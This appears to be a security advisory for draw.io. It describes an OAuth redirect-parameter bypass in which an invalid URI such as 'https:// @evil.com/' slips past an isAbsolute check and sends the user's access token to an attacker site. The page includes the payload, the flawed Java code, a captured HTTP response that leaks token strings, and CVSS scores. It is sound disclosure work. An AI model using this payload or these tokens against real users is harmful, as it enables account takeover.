6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
5.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:P/I:P/A:N
0.001 Low
EPSS
Percentile
27.5%
The application allows the usage of third-parties to store the files, such as Google Drive, Github, Gitlab, etc. It’s possible to bypass the protection of the redirect
parameter and redirect the user and the OAuth token to an attacker controlled site.
The state
parameter is altered to have the malicious redirect
&redirect=https:// @evil.com/
Note the space %20 after https://
The attacker sends the victim the link and the victim authorize it, thinking it’s from drawio.
When the victim is redirected back to drawio, the redirect
parameter inside the state
will be parsed and checked
successRedirect = stateVars.get("redirect");
//Redirect to a page on the same domain only (relative path)
if (successRedirect != null && isAbsolute(successRedirect))
{
successRedirect = null;
}
The isAbsolute
function is defined as :
public static boolean isAbsolute(String url)
{
if (url.startsWith("//")) // //www.domain.com/start
{
return true;
}
if (url.startsWith("/")) // /somePage.html
{
return false;
}
boolean result = false;
try
{
URI uri = new URI(url);
result = uri.isAbsolute();
}
catch (URISyntaxException e) {} //Ignore
return result;
}
The bypass occurs on the try/catch
, if the redirect
value is an invalid URI it will return false
and allow the redirect. The problem is that ,although invalid, https:// @evil.com/
will be accepted by the browser and the user will be redirected to evil.com
.
HTTP RESPONSE
HTTP/2 302 Found
Date: Sat, 14 May 2022 04:08:37 GMT
Content-Type: text/html
Location: https:// @evil.com/#%7B%22access_token%22%3A%22ghu_eEEIwuwg1GN1FwidVj4TS4pAa8plEc02asJs%22%2C%22expires_in%22%3A28800%7D
Set-Cookie: auth-state= ;path=/github2; expires=Thu, 01 Jan 1970 00:00:00 UTC; Secure; HttpOnly; SameSite=none
Set-Cookie: auth-tokenIv1.98d62f0431e40543=ghr_MRUNjYWPUiKUDKFlQTxcT6442q0L6l6LdWcKf9XBqeYZV3bYYhMyaX6fYJV8kuKk1WRO6Y4gQHzK; Max-Age=31536000;path=/github2; Secure; HttpOnly; SameSite=none
X-Cloud-Trace-Context: 766df5ad8123a0fa5701fc92aec830d4
Cf-Cache-Status: DYNAMIC
Expect-Ct: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
Server: cloudflare
Cf-Ray: 70b0c6119831273d-FOR
Note the Location
header.
I wasn’t able to reproduce the vulnerability on the main website because if the IS_GAE
variable is True the application will check the authentication state via the cookies :
//Non GAE runtimes are excluded from state check. TODO Change GAE stub to return null from CacheFactory
else if (IS_GAE && (stateToken == null || !stateToken.equals(cookieToken)))
{
response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
}
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
5.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:P/I:P/A:N
0.001 Low
EPSS
Percentile
27.5%